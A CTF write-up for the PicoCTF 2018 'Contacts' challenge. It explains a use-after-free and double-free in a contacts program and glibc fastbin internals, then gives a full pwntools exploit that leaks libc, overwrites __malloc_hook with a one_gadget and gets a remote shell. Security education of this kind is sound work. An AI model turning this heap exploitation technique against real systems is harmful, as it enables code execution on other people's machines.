PicoCTF 2018 - Contacts

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

The bug that you’ll use for this challenge is in the set_bio() function. Can you spot it?

void set_bio(struct contact *contact){
    char input[4];
    size_t length;

    /* we'll replace the old bio */
    if (contact->bio != NULL){
        free(contact->bio);
    }

    puts("How long will the bio be?");
    if (fgets(input, 4, stdin) == NULL){
        puts("Couldn't read length.");
        return;
    };

    length = strtoul(input, NULL, 10);
    if (length > 255){
        puts("Bio must be at most 255 characters.");
        return;
    }

    contact->bio = (char *)malloc(length+1);
    // ...

Thinking about this, you’ll see that calling this function with an existing bio will unconditionally free() it, however, it will then prompt you for a length. If you attempt to request more than 255 chars, the program will return without resetting the bio pointer. This means bio will now point at freed memory. We’ve already seen how dangerous use-after-free can be.

Three Digit Bio Lengths

Note: There is another bug you should know about that may cause problems if you weren’t aware of it. Take another look at set_bio():

puts("How long will the bio be?");
if (fgets(input, 4, stdin) == NULL){
    puts("Couldn't read length.");
    return;
};

length = strtoul(input, NULL, 10);
if (length > 255){
    puts("Bio must be at most 255 characters.");
    return;
}

// ...
puts("Enter your new bio:");
if (fgets(contact->bio, length+1, stdin) == NULL){
    puts("Couldn't read bio.");
    return;
}

puts("Bio recorded.");

This time, notice the first call to fgets() uses an argument of 4 for the num parameter - this means ONLY the first 3 chars will be read from stdin. It also means that any newlines after the first 3 chars are not consumed by the first call to fgets() and will remain in the input buffer. So, what happens if you type a 3 digit number for the length field? If you type "123\n", then it will consume the "123" and leave "\n" in the input buffer. The next call to fgets() will see "\n", replace it with "\0", and use that for the bio. What if you need to initialize a value for the bio string? How would you do that? Well, you simply write the length as 3 digits immediately proceeded by the string value you want for bio, followed by a newline. This is odd, because you won’t be prompted to "Enter your new bio:" yet, but it works.

$ ./contacts
Available commands:
        display - display the contacts
        create [name] - create a new contact
        delete [name] - delete an existing contact
        bio [name] - set the bio for an existing contact
        quit - exit the program

Enter your command:
> create example
Created contact "example"

Enter your command:
> bio example
How long will the bio be?
151This Is My Bio
Enter your new bio:
Bio recorded.

Enter your command:
> display
example - This Is My Bio


Enter your command:
>

Strategy

Once again, the strategy will start with leaking libc. Since you have control over the size of the buffer allocated for bio, and you can print it out as a string at any time with the "display" command, it is trivial to leak libc.

Unlike sword there is no function pointers in the user-code to overwrite. Instead, you’ll have to overwrite some other function pointer (either entries in the .got.plt, or perhaps one of __malloc_hook or __free_hook). One tool you have at your disposal is that you can easily allocate and free memory of an arbitrary length.

If, hypothetically, you could trick libc into thinking arbitrary memory (such as the memory at or slightly before &__malloc_hook) was a free chunk, and tricked it into giving you that memory when malloc() was called, then any data you write into that buffer would overwrite the critical parts of memory you were targeting (a write-what-where primitive). From there, you would have no difficulty at all causing the program to call into a one_gadget and launch a shell.

Background Info

We’ve already seen that free chunks inside a fastbin form a singly-linked list. The first 8 bytes of the user-data portion of a chunk are re-used and now represent a pointer to the chunk-header of the next free chunk in the list.

What makes up a chunk header? The answer lies in this document. As we’ve already seen, the first 8 bytes of this header overlap with the chunk immediately preceding the relevant chunk in memory. Those bytes are only valid if the previous chunk is marked “free”. It turns out that chunks inside fastbins are never marked as free (which means they can never get “merged” together to form larger chunks). Since chunks in fastbins are never marked as free, the first 8 bytes of the chunk-header (which physically exist as the last 8 bytes of the previous chunk in memory) are never valid, and therefore never used.

The only field remaining in the chunk header is the mandatory 8-byte overhead present on every single allocation. What gets put in those 8 bytes? Two things actually. First off, it represents the size of the chunk. We’ve already discussed how chunks must be a multiple of 16 bytes (this is true on x86-64, on 32-bit architectures the alignment was 8 bytes). What does this imply? It means for any valid chunk size, the least significant 4 bits will always be zero. Since the computer knows that they are supposed to be zero, it can repurpose those 4 bits as flag bits that can represent additional state about the chunk (or other chunks). In this case, there are 3 flags, the most relevant one being the least significant bit, which represents whether the “previous” chunk in memory is “in-use” (ie: if the value is 0, then the first 8 bytes of the chunk header are “valid”, if the value is 1, then the first 8 bytes of the chunk header still belong to the previous chunk and should be ignored). For any chunks currently in a fastbin, the least significant bit of the chunk header size field will be 1.

So, what happens when you attempt to allocate memory? If the size of the request is small enough that it could be serviced by a chunk in a fast bin, then malloc() will see if there are any chunks in that fastbin. If there are, it will take the chunk at the top of the list, do a quick verification, then return (the user-data) of that chunk and update it’s internal fastbin pointer to be the “next” chunk in the list.

What verifications does it do? Generally these change across libc versions, and more and more verifications are done over time. The version of libc we are dealing with for this challenge is 2.23. The base code for that version is available on github. It may not exactly match the underlying code of the libc binary we are dealing with, but it should be close enough.

Here’s a snippet of _int_malloc which does the verification check for the chunk pointer at the top of a fastbin:

if (victim != 0)
{
    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
        errstr = "malloc(): memory corruption (fast)";
    errout:
        malloc_printerr (check_action, errstr, chunk2mem (victim), av);
        return NULL;
    }
    check_remalloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
}

Basically, it will check that the chunk it found at the top of the bin has a chunksize that matches the bin that it was in. IE: if you got a chunk out of the fastbin dedicated to 0x20 byte chunks, you would expect that it’s chunk header would indicate that it’s size is indeed 0x20. If this isn’t the case, then malloc prints the error "malloc(): memory corruption (fast)" and your program will exit.

Let’s recap:

  1. You can allocate memory of an arbitrary size.
  2. You can fill allocated memory with any bytes you want, except for a newline character.
  3. You can free that memory at any time, and there will still be a stale reference to that free memory.
  4. You can, actually, try and free the same memory an arbitrary number of times. [NOTE: attempting to free a chunk that is already at the top of a fastbin is an error, however, if it isn’t immediately at the top then it won’t be noticed].
  5. When malloc allocates from a fastbin, it verifies that the chunk has the expected size, and then returns it, advancing its internal pointer for that bin to the next chunk in the singly-linked list.

Point number 4 brings up something we haven’t talked about yet: a double-free. What happens if you free the same fastbin memory twice? If you do it consecutively, libc has checks to detect that situation, and will close your program. However, if you are able to free a chunk of memory, then free another one of the same size, then free the original chunk again, then you’d have added the same chunk to the fastbin list twice. This is a dangerous but powerful situation. The singly-linked list is now broken, but at the same time, if you can fill in those first 8 bytes of user-data after re-allocating the chunk, then you can trick libc into allocating out of some arbitrary piece of memory (it only has to look like a chunk of a size that belongs in that fastbin!).

This is all the information you need to craft a useable exploit. If you think you are ready, connect to this challenge using nc 2018shell.picoctf.com 29455.

Exploitation

First up, we know we’ll need a one_gadget to jump to, so let’s find one:

$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Once again, we’ll use the second one on the list, offset 0x4526a.

The premise of this thesis so far is that in the vicinity of one of the main function pointers (__free_hook/__malloc_hook/etc) there is a bit of memory that looks like a valid chunk header for a chunk inside a fastbin. To verify this, what we will do is launch the executable inside a debugger, make at least one memory allocation to initialize the heap, then break and examine memory (you can break into the debugger while the program is running using “CTRL+C”).

$ gdb contacts
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from contacts...
(No debugging symbols found in contacts)
(gdb) r
Starting program: /mnt/c/Users/Steadman/Documents/Andrew/picoctf2018/contacts/contacts
Available commands:
        display - display the contacts
        create [name] - create a new contact
        delete [name] - delete an existing contact
        bio [name] - set the bio for an existing contact
        quit - exit the program

Enter your command:
> create a
Created contact "a"

Enter your command:
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7cf5260 in read () from ./libc.so.6
(gdb) x/20gx (void*)&__malloc_hook - 0x40
0x7ffff7fc2ad0: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2ae0: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2af0: 0x00007ffff7fc1260      0x0000000000000000
0x7ffff7fc2b00 <__memalign_hook>:       0x00007ffff7c83e20      0x00007ffff7c83a00
0x7ffff7fc2b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b20: 0x0000000100000000      0x0000000000000000
0x7ffff7fc2b30: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b40: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b50: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b60: 0x0000000000000000      0x0000000000000000
(gdb) x/20gx (void*)&__malloc_hook - 35
0x7ffff7fc2aed: 0xfff7fc1260000000      0x000000000000007f
0x7ffff7fc2afd: 0xfff7c83e20000000      0xfff7c83a0000007f
0x7ffff7fc2b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7ffff7fc2b1d: 0x0100000000000000      0x0000000000000000
0x7ffff7fc2b2d: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b3d: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b4d: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b5d: 0x0000000000000000      0x0000000000000000
0x7ffff7fc2b6d: 0x0000000000000000      0x0000603450000000
0x7ffff7fc2b7d: 0x0000000000000000      0xfff7fc2b78000000
(gdb) info proc mappings
process 3561
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x402000     0x2000        0x0 contacts
            0x601000           0x602000     0x1000     0x1000 contacts
            0x602000           0x603000     0x1000     0x2000 contacts
            0x603000           0x624000    0x21000        0x0 [heap]
      0x7ffff7bfe000     0x7ffff7dbe000   0x1c0000        0x0 libc.so.6
      0x7ffff7dbe000     0x7ffff7fbe000   0x200000   0x1c0000 libc.so.6
      0x7ffff7fbe000     0x7ffff7fc2000     0x4000   0x1c0000 libc.so.6
      0x7ffff7fc2000     0x7ffff7fc4000     0x2000   0x1c4000 libc.so.6
      0x7ffff7fc4000     0x7ffff7fca000     0x6000        0x0
      0x7ffff7fca000     0x7ffff7fcd000     0x3000        0x0 [vvar]
      0x7ffff7fcd000     0x7ffff7fcf000     0x2000        0x0 [vdso]
      0x7ffff7fcf000     0x7ffff7fd0000     0x1000        0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7fd0000     0x7ffff7ff3000    0x23000     0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ff3000     0x7ffff7ffb000     0x8000    0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffdd000     0x7ffffffff000    0x22000        0x0 [stack]
(gdb)

What are we looking at here? Well, it seems that on 64 bit machines, the default behavior is to load libc into an address where the most significant bytes are 0x00007f (this is true even with ASLR turned on). If, in memory, there is a pointer into libc’s memory space, and it is immediately followed by a NULL, then you can imagine an un-aligned address that points at the 0x7f in 0x00007f, which as we know is represented in little endian form as the bytes \x7f \x00 \x00, followed by a NULL, so \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00. In essence, by using an un-aligned address, you could treat the 0x7f as the least-significant byte of an 8 byte size field. Interpreting this un-aligned address as part of the size field inside the chunk header, it would correspond to a size 0x70 chunk with all of it’s flags set (and then some). As discussed above, however, the security check is that the size corresponds with the bin it is in, and the flags are ignored.

Here, we see that the address 0x7ffff7fc2aed points to what looks like a chunk-header with a size field of 0x000000000000007f. The base address of libc is 0x7ffff7bfe000, so the offset of this address is 0x3c4aed. This address is 35 bytes before __malloc_hook, and the header itself is 16 bytes, so __malloc_hook is 19 bytes into the user-data portion of the chunk.

Consider the following actions:

  1. Create a contact “a”
  2. Create a bio for “a”, reserving 151 characters - allocates 151+1 bytes, utilizing a 152+8=160 byte chunk
  3. Create a contact “b” - sacrificial allocation so that the previous bio is not immediately adjacent to the wilderness.
  4. Change the bio for “a”, now reserving 300 characters - this will free the bio chunk, putting it to the unsorted bin, but program will error out for the request being to large without resetting the pointer.
  5. Display the contacts - the bio associated with “a” is actually a pointer into libc’s address space - LIBC LEAK
  6. Create contacts “junk1”, “junk2”, and “junk3” - allocates 3 chunks for struct contact, and 3 chunks for names. All the chunks are the minimum size (32 bytes). These sacrificial allocations consume the chunk from the unsorted bin (which is split up to service incoming requests). This is necessary because memory coming from the unsorted bin is not initialized to zero, and any bio pointers not initialized to NULL will cause problems.
  7. Create contacts “c”,”d”,”e,”f”, and “g”.
  8. Create a bio for “b” and “c”, both reserving 103 characters - (103 + 1 + 8 = 0x70)
  9. Re-create bio for “b” reserving 300 chars - free the chunk for b’s bio
  10. Re-create bio for “c” reserving 300 chars - free the chunk for c’s bio
  11. Re-create bio for “b” reserving 300 chars - free the chunk for b’s bio again - DOUBLE FREE
  12. Create bio for “d” reserving 103 chars and fill with &libc_base + 0x3c4aed - this is a fake pointer to the “next” chunk in the singly linked list, a size 0x70 chunk immediately before &__malloc_hook.
  13. Create bio for “e” reserving 103 chars
  14. Create bio for “f” reserving 103 chars - at this point, the internal memory structure of libc will think the “top” chunk inside the 0x70 fastbin is the fake chunk.
  15. Create bio for “g” reserving 103 chars - the first 19 bytes of the buffer are don’t care, followed by the address of a one_gadget.
  16. Create contact “pwn” and observe the shell that launches as soon as malloc is invoked!

Or, as a pwntools script:

#!/bin/env python3

from pwn import *

#p = process(["ltrace", "-o", "trace", "-e", "malloc+printf+free+realloc+memcpy", "./contacts"])
#p = process("./contacts")
#p = gdb.debug("./contacts", "break main\ncontinue\n")
p = remote("2018shell.picoctf.com", 29455)

def echo(str):
    print(str)
    p.sendline(str)
    _ = "".join(map(chr, p.recvline(timeout=2))).rstrip()
    print(_)
    return _

def wait_prompt():
    print("".join(map(chr, p.recvuntil("> "))).rstrip())

def create(name):
    wait_prompt()
    echo("create " + name)

def bio(name, namelen, biobytes):
    wait_prompt()
    echo("bio " + name)
    length = str(namelen)
    joinchar = ""
    if len(length) < 3:
        joinchar = "\n"
    my_bytes = (length + joinchar).encode("ascii")
    echo(my_bytes + biobytes)
    if not joinchar and namelen > 255:
        p.recvuntil("Invalid option")
        p.recvuntil("exit the program\n")

def display(name=""):
    wait_prompt()
    strsearch = name + " - "
    print("display")
    p.sendline("display")
    resp = b''
    resp += p.recvuntil(strsearch)
    bio = p.recvline(keepends=False)
    resp += bio + b'\n'
    line = p.recvline()

    while line != b'\n':
        resp += line
        line = p.recvline()
    
    print("".join(map(chr, resp)).rstrip())
    return "".join(map(chr, bio))

create("a")
bio("a",151, b'abc')

create("b") # move the frontier

bio("a", 300, b'') # frees the name for a

aaddrstr = display("a")
aaddr = u64(aaddrstr.ljust(8, '\0'))
libcaddr = aaddr - 0x3C4B78 # offset of unsorted bin header
print("Leaked Addr: 0x%08X" % aaddr)
print("LIBC ADDR: 0x%08x" % libcaddr)

# 3 chunk allocations + 3 name allocations = entire unsorted bin is consumed
# needed because setting a bio requires 0-initialized memory
create("junk1")
create("junk2")
create("junk3")

create("c")
create("d")
create("e")
create("f")
create("g")

bio("b", 103, b'') # allocate from the 0x70 fastbin
bio("c", 103, b'') # also from the 0x70

bio("b", 300, b'') # free the fast bin
bio("c", 300, b'') # free a different one
bio("b", 300, b'') # DOUBLE FREE!

fastchunkoffset = libcaddr + 0x3c4aed
bio("d", 103, p64(fastchunkoffset)) #0x7fffff3f4aed 
bio("e", 103, b'')
bio("f", 103, b'') # Reallocates same address, pushing 0x7fffff3f4aed to the top of the fastbin
gadget = libcaddr + 0x4526a
payload = b'U'*19 + p64(gadget)
print(payload)
bio("g", 103, payload)

create("pwn")

p.interactive()

Let’s try it out, the challenge is available at 2018shell.picoctf.com, port 29455:

$ python3 contacts_pwn.py
[+] Opening connection to 2018shell.picoctf.com on port 29455: Done
Available commands:
    display - display the contacts
    create [name] - create a new contact
    delete [name] - delete an existing contact
    bio [name] - set the bio for an existing contact
    quit - exit the program

Enter your command:
>
create a
Created contact "a"

Enter your command:
>
bio a
How long will the bio be?
b'151abc'
Enter your new bio:
Bio recorded.

Enter your command:
>
create b
Created contact "b"

Enter your command:
>
bio a
How long will the bio be?
b'300'
Bio must be at most 255 characters.

Enter your command:
>
display
a - xkóÝ\x1d
b - (No bio)
Leaked Addr: 0x7F1DDDF36B78
LIBC ADDR: 0x7f1dddb72000
Enter your command:
>
create junk1
Created contact "junk1"

Enter your command:
>
create junk2
Created contact "junk2"

Enter your command:
>
create junk3
Created contact "junk3"

Enter your command:
>
create c
Created contact "c"

Enter your command:
>
create d
Created contact "d"

Enter your command:
>
create e
Created contact "e"

Enter your command:
>
create f
Created contact "f"

Enter your command:
>
create g
Created contact "g"

Enter your command:
>
bio b
How long will the bio be?
b'103'
Enter your new bio:
Bio recorded.

Enter your command:
>
bio c
How long will the bio be?
b'103'
Enter your new bio:
Bio recorded.

Enter your command:
>
bio b
How long will the bio be?
b'300'
Bio must be at most 255 characters.

Enter your command:
>
bio c
How long will the bio be?
b'300'
Bio must be at most 255 characters.

Enter your command:
>
bio b
How long will the bio be?
b'300'
Bio must be at most 255 characters.

Enter your command:
>
bio d
How long will the bio be?
b'103\xedj\xf3\xdd\x1d\x7f\x00\x00'
Enter your new bio:
Bio recorded.

Enter your command:
>
bio e
How long will the bio be?
b'103'
Enter your new bio:
Bio recorded.

Enter your command:
>
bio f
How long will the bio be?
b'103'
Enter your new bio:
b'UUUUUUUUUUUUUUUUUUUjr\xbb\xdd\x1d\x7f\x00\x00'
Bio recorded.

Enter your command:
>
bio g
How long will the bio be?
b'103UUUUUUUUUUUUUUUUUUUjr\xbb\xdd\x1d\x7f\x00\x00'
Enter your new bio:
Bio recorded.

Enter your command:
>
create pwn

[*] Switching to interactive mode
$ ls
contacts
flag.txt
libc.so.6
xinet_startup.sh
$ cat flag.txt
picoCTF{===REDACTED===}

Boom! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.